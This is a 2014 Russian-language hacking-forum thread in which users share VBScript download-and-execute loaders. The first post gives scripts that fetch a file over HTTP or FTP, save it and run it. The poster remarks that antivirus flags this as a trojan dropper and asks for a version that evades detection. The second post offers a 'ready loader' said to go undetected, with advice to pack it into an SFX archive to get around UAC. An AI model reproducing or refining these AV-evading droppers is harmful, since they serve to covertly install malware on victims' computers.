1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Скрипт загрузчик на Visual Basic

Тема в разделе "Софт для взлома", создана пользователем Contra017, 8 май 2014.

  1. Contra017
    Contra017 Новичок
    Симпатии:
    3
    Есть скрипт на скачивание файла по протоколу http и запуска. Налетай. Код:

    Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    oXMLHTTP.Open "GET", "http://rarlab.com/rar/wrar500ru.exe", 0
    oXMLHTTP.Send
    Set oADOStream = CreateObject("ADODB.Stream")
    oADOStream.Mode = 3
    oADOStream.Type = 1
    oADOStream.Open
    oADOStream.Write oXMLHTTP.responseBody
    oADOStream.SaveToFile "C:\wrar500ru.exe", 2
    dim path, WshShell
    path = "C:\"
    set WshShell = WScript.CreateObject("Wscript.Shell")
    WshShell.Run path & "wrar500ru.exe", ,true

    Хотя скрипт с виду безобидный антивирусы ругаются на поведение скрипта закачка - запуск. Определяют как троян дроппер.

    Есть второй скрипт закачка по протоколу ftp. Код:

    Set objShell = CreateObject("Shell.Application")
    Set objFolder = objShell.NameSpace("D:\Temp")
    objFolder.CopyHere "ftp://User:p[email protected]_name.ru/folder/subfolder/filename.zip"
    WScript.Sleep 60000

    Не палиться ничем но когда его запускаешь он создает пустой файл 0 байт, filename.zip а закачка не происходит. Wget и другие варианты загрузчиков с расширением .exe не подойдут. В Visual Basic нуб обещаю буду рости но пока прошу помощи. В идеале нужен скрипт с расширение *.vbs выполняющий шаблон скачивание-запуск не палящийся АВ. Можно в личку.
     
    8 май 2014
  2. Contra017
    Contra017 Новичок
    Симпатии:
    3
    Проблемма решена. Все исправно работает и не палиться :) Берите кому нужно готовый загрузчик. Что бы не было проблемм с UAC компилируйте в .exe самый простой способ упаковать скрипт в sfx архив.

    Set objShell = CreateObject("Shell.Application")
    Set objFolder = objShell.NameSpace("D:\Temp")
    objFolder.CopyHere "ftp://User:p[email protected]_name.ru/folder/subfolder/filename.zip"
    WScript.Sleep 60000
    dim path, WshShell
    path = "C:\"
    set WshShell = WScript.CreateObject("Wscript.Shell")
    WshShell.Run path & "filename.zip", ,true
     
    8 май 2014
  3. A-L-I-E-N
    A-L-I-E-N Новичок
    Симпатии:
    5
    Спасибо большое!

    Вот такой vbs использовал я
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 10 or greater.**
     
    9 май 2014

Поделиться этой страницей

Загрузка...